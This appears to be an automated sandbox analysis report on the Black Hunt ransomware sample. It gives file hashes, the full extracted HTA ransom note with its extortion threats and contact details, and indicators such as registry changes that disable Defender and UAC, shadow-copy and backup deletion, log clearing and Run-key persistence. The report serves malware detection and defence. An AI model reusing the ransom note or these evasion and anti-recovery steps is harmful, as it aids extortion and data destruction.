23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
17/01/2024, 20:11

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General

Target

23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
Size

707KB
MD5

6bef23cd23eeb7d37efb58ae7be872f4
SHA1

5104749cf54d1ced32d53e46809d2b79452f3870
SHA256

23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8
SHA512

a6f7324d6a2d69b89638e6f9ceb2ac331879e334589ebbd0bdac17dc06a0ed3ca42502b1f6a44c5c55ad66371ba891294b63eb496ef15a3670e93d53df017642
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1O86vnh:6uaTmkZJ+naie5OTamgEoKxLWFUh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> quFGCj9ybqcyn5mP </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
4020	fsutil.exe
2768	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3828	wevtutil.exe
1676	wevtutil.exe
3348	wevtutil.exe
1840	wevtutil.exe
868	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1812	bcdedit.exe
3972	bcdedit.exe
776	bcdedit.exe
3892	bcdedit.exe

Renames multiple (2509) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1152	wbadmin.exe
2004	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3588	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Q:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\I:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\O:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\E:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\Y:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\P:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\L:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\B:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\M:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\W:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\K:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\G:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\X:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\V:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\U:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\S:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\N:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\R:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\T:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\A:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\H:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\J:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened (read-only)	\??\Z:	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Irkutsk	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_zh_CN.jar	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-attach_ja.jar	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\#BlackHunt_ReadMe.hta	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\core_zh_CN.jar	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Indiana\#BlackHunt_Private.key	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Jamaica	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\ResolveDismount.xlt	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\#BlackHunt_ReadMe.txt	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\#BlackHunt_Private.key	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Nipigon	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Fakaofo	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\toc.gif	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\THIRDPARTYLICENSEREADME.txt	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.txt	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#BlackHunt_ReadMe.hta	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\#BlackHunt_ReadMe.hta	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationLeft_SelectionSubpicture.png	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\1047x576black.png	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\#BlackHunt_ReadMe.txt	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\.data\#BlackHunt_ReadMe.hta	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\com.jrockit.mc.console.ui.notification_contexts.xml	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToScenesBackground.wmv	23d4fd505b845260266d5e3b7cd116a448df9a4784c5aefbef738c988264a5d8.exe
